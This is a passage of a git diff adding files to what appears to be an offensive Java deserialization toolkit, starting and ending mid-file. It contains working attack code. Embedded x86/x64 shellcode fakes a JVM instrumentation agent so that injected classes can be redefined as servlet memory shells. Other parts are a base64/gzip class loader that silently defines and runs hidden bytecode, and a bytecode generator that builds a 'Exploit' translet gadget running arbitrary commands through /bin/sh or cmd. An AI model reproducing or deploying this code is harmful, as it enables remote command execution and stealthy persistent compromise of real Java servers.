sun.misc.Unsafe; + +import java.io.IOException; +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; + +public class WinMenshell { + public static int pointerLength = 8; + public static String className; + public static byte[] classBody; + + public WinMenshell() throws Exception { + + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); + field1.setBoolean(null, true); + + Unsafe unsafe = null; + try { + Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + + byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; + byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41}; + if (pointerLength == 4) { + buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3}; + stub = new byte[]{0x44, 0x43, 0x42, 0x41}; + } + buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength)); + classBody[7] = 0x32; + try { + System.loadLibrary("attach"); + enqueue(-1, buf, "enqueue", "enqueue"); + } catch (Exception e) { + e.printStackTrace(); + return; + } + long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength); + if (pointerLength == 4) { + unsafe.putByte(native_jvmtienv + 201, (byte) 2); + } else { + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + } + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[]{ + new ClassDefinition[]{ + definition + } + }); + } catch (Throwable error) { + error.printStackTrace(); + throw error; + } + + } + + static native void enqueue(long hProcess, byte[] stub, + String cmd, String pipename, Object... args) throws IOException; + + /** + * long 转字节数组,小端 + */ + public static byte[] long2ByteArray_Little_Endian(long l, int length) { + + byte[] array = new byte[length]; + + for (int i = 0; i < array.length; i++) { + array[i] = (byte) (l >> (i * 8)); + } + return array; + } + + + private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) { + for (int i = 0; i < bytes.length; i++) { + boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等; + for (int j = 0; j < byteSource.length; j++) { + if (i + j < bytes.length && bytes[i + j] == byteSource[j]) { + } else { + bl = false; + } + } + if (bl) { + System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length); + } + } + return bytes; + } +} + diff --git a/src/main/java/com/qi4l/JYso/template/Agent/utli/ClassModifier.java b/src/main/java/com/qi4l/JYso/template/Agent/utli/ClassModifier.java new file mode 100644 index 0000000..a94aa33 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Agent/utli/ClassModifier.java @@ -0,0 +1,108 @@ +package com.qi4l.JYso.template.Agent.utli; + +import javassist.*; + +import java.util.ArrayList; +import java.util.List; + +public class ClassModifier { + // Hook 类信息,类名,方法名,方法参数(逗号分隔) + public static ArrayList HOOK_CLASS_INFORMATION_MAP = new ArrayList(); + + // Hook 类方法字符串 + public static String HOOK_METHOD_CODE; + + public static List insert() throws Exception { + + // 初始化要 hook 的方法信息 + initHookClassINFORMATION(); + + List classObj = getHookClassBytes(); + + if (classObj == null) { + return null; + } + + String targetClassName = classObj.get(0).toString(); + byte[] targetClassBody = (byte[]) classObj.get(1); + ClassPool cp = ClassPool.getDefault(); + cp.insertClassPath(new ByteArrayClassPath(targetClassName, targetClassBody)); + CtClass targetClass = cp.get(targetClassName); + + String methodName = HOOK_CLASS_INFORMATION_MAP.get(1); + String[] paramList = HOOK_CLASS_INFORMATION_MAP.get(2).split(","); + + List paramClasses = new ArrayList(); + for (String param : paramList) { + CtClass ctClass = cp.get(param); + paramClasses.add(ctClass); + } + + CtMethod ctMethod = targetClass.getDeclaredMethod(methodName, paramClasses.toArray(new CtClass[paramClasses.size()])); + ctMethod.insertBefore(base64Decode(HOOK_METHOD_CODE)); + targetClass.detach(); + + List list = new ArrayList(); + list.add(targetClassName); + list.add(targetClass.toBytecode()); + return list; + } + + + private static List getHookClassBytes() throws Exception { + ClassPool classPool = ClassPool.getDefault(); + + try { + // 用 Javassist 获取目标环境中,目标类的类字节码 + String className = HOOK_CLASS_INFORMATION_MAP.get(0); + classPool.insertClassPath(new ClassClassPath(Thread.currentThread().getContextClassLoader().loadClass(className))); + CtClass targetClass = classPool.get(className); + List obj = new ArrayList(); + obj.add(className); + obj.add(targetClass.toBytecode()); + targetClass.detach(); + return obj; + } catch (ClassNotFoundException ignored) { + } + return null; + } + + public static String base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static void initHookClassINFORMATION() { +// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.http.HttpServlet"); +// HOOK_CLASS_INFORMATION_MAP.add("service"); +// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + +// ArrayList list1 = new ArrayList(); +// list1.add("jakarta.servlet.http.HttpServlet"); +// list1.add("service"); +// list1.add("jakarta.servlet.ServletRequest,jakarta.servlet.ServletResponse"); +// +// HOOK_CLASS_INFORMATION_MAP.add(list1); +// +// ArrayList list2 = new ArrayList(); +// list2.add("weblogic.servlet.internal.ServletStubImpl"); +// list2.add("execute"); +// list2.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); +// +// HOOK_CLASS_INFORMATION_MAP.add(list2); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLConnection.java b/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLConnection.java new file mode 100644 index 0000000..a3d1203 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLConnection.java @@ -0,0 +1,99 @@ +package com.qi4l.JYso.template.Agent.utli; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLConnection; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +public class SuURLConnection extends URLConnection { + public static String STREAM_HANDLER_CLASSNAME; + private static List FILES = new ArrayList(); + + static { + try { + Field fld; + try { + fld = URL.class.getDeclaredField("handlers"); + } catch (NoSuchFieldException var7) { + try { + fld = URL.class.getDeclaredField("ph_cache"); + } catch (NoSuchFieldException var6) { + throw var7; + } + } + + fld.setAccessible(true); + Map handlers = (Map) fld.get((Object) null); + synchronized (handlers) { + Object handler; + if (handlers.containsKey("ysuserial")) { + handler = handlers.get("ysuserial"); + } else { + handler = Class.forName(STREAM_HANDLER_CLASSNAME).newInstance(); + handlers.put("ysuserial", handler); + } + + FILES = (List) handler.getClass().getMethod("getFiles").invoke(handler); + } + } catch (Exception var8) { + throw new RuntimeException(var8.toString()); + } + } + + // 当前 SuURLConnection 对应的对象 + private final byte[] DATA; + private final String contentType; + + + /** + * 构造方法,根据指定的 URL 格式将 DATA 进行指定赋值 + * + * @param url + */ + protected SuURLConnection(URL url) { + super(url); + String file = url.getFile(); + int pos = file.indexOf(47); + synchronized (FILES) { + this.DATA = (byte[]) ((byte[]) FILES.get(Integer.parseInt(file.substring(0, pos)))); + } + + this.contentType = file.substring(pos + 1); + } + + /** + * 将一个 URL 对象 (byte[])存放在 FILES 中 + * + * @param data jar 包字节码数组 + * @param contentType 原本是文件路径,这里因为是虚拟的,所以随便写一个标识位就可以 + * @return 返回 URL 对象 + * @throws MalformedURLException 抛出异常 + */ + public static URL createURL(byte[] data, String contentType) throws MalformedURLException { + synchronized (FILES) { + FILES.add(data); + return new URL("ysuserial", "", FILES.size() - 1 + "/" + contentType); + } + } + + public void connect() throws IOException { + } + + public InputStream getInputStream() throws IOException { + return new ByteArrayInputStream(this.DATA); + } + + public int getContentLength() { + return this.DATA.length; + } + + public String getContentType() { + return this.contentType; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLStreamHandler.java b/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLStreamHandler.java new file mode 100644 index 0000000..eda1b58 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Agent/utli/SuURLStreamHandler.java @@ -0,0 +1,39 @@ +package com.qi4l.JYso.template.Agent.utli; + +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.net.URL; +import java.net.URLConnection; +import java.util.ArrayList; +import java.util.List; + +public class SuURLStreamHandler { + public static String URL_CONNECTION_CLASSNAME; + + private List files = new ArrayList(); + + public SuURLStreamHandler() { + } + + /** + * 与 SuURLConnection 联动的 URLStreamHandler + * + * @param u 特殊的 URL 对象 + * @return 返回 SuURLConnection 对象 + * @throws IOException 抛出异常 + */ + protected URLConnection openConnection(URL u) throws IOException { + try { + Class clazz = Class.forName(URL_CONNECTION_CLASSNAME); + Constructor constructor = clazz.getDeclaredConstructor(URL.class); + constructor.setAccessible(true); + return (URLConnection) constructor.newInstance(u); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public List getFiles() { + return this.files; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java new file mode 100644 index 0000000..c72d954 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java @@ -0,0 +1,86 @@ +package com.qi4l.JYso.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.zip.GZIPInputStream; + +/** + * ClassLoader define 代码 + */ +public class ClassLoaderTemplate { + + static String b64; + + static String className; + + static { + try { + // 初始化 + initClassBytes(); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64))); + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + byte[] bs = new byte[4096]; + int read; + while ((read = gzipInputStream.read(bs)) != -1) { + byteArrayOutputStream.write(bs, 0, read); + } + byte[] bytes = byteArrayOutputStream.toByteArray(); + ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + invoke.newInstance(); + + //ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + //Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); + //method.setAccessible(true); + //Class invoke = (Class) method.invoke(null, classLoader, className, bytes, 0, bytes.length); + //try { + // // 先尝试 newInstance + // invoke.newInstance(); + //} catch (Exception ignored) { + // try { + // // 如果没有无参构造方法,会报错,这里可以使用 Unsafe 创建,个人非常喜欢 Unsafe 这个类,无拘无束,自由自在 + // Class unsafe = Class.forName("sun.misc.Unsafe"); + // Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); + // theUnsafeField.setAccessible(true); + // Object unsafeObject = theUnsafeField.get(null); + // unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, invoke); + // } catch (Exception neverMind) { + // // 如果没有 Unsafe,可以使用反射库中的方法,为 Class 创建一个 + // Constructor objCons = invoke.getDeclaredConstructor(new Class[0]); + // objCons.setAccessible(true); + // Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(invoke, objCons); + // sc.setAccessible(true); + // sc.newInstance(new Object[0]); + // } + //} + } catch (Exception ignored) { + } + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return value; + } + + public static void initClassBytes() { + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/template/CommandTemplate.java b/src/main/java/com/qi4l/JYso/template/CommandTemplate.java new file mode 100644 index 0000000..fe7cfa4 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/CommandTemplate.java @@ -0,0 +1,145 @@ +package com.qi4l.JYso.template; + +import com.qi4l.JYso.gadgets.utils.Cache; +import com.qi4l.JYso.gadgets.utils.Util; +import org.objectweb.asm.*; + +import static org.objectweb.asm.Opcodes.*; + +public class CommandTemplate implements Template { + private String className; + private byte[] bytes; + private String cmd; + + public CommandTemplate(String cmd) { + this.cmd = cmd; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public CommandTemplate(String cmd, String className) { + this.cmd = cmd; + this.className = className; + + generate(); + } + + public void cache() { + Cache.set(className, bytes); + } + + public String getClassName() { + return className; + } + + public byte[] getBytes() { + return bytes; + } + + public void generate() { + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + { + fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l3 = new Label(); + mv.visitJumpInsn(IFEQ, l3); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("/bin/sh"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("-c"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitJumpInsn(GOTO, l0); + mv.visitLabel(l3); + mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 0, new Object[]{}); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("cmd"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("/C"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitFrame(Opcodes.F_APPEND, 1, new Object[]{"[Ljava/lang/String;"}, 0, null); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + Label l4 = new Label(); + mv.visitJumpInsn(GOTO, l4); + mv.visitLabel(l2); + mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/io/IOException"}); + mv.visitVarInsn(ASTORE, 2); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); + mv.visitLabel(l4); + mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); + mv.visitInsn(RETURN); + mv.visitMaxs(4, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new 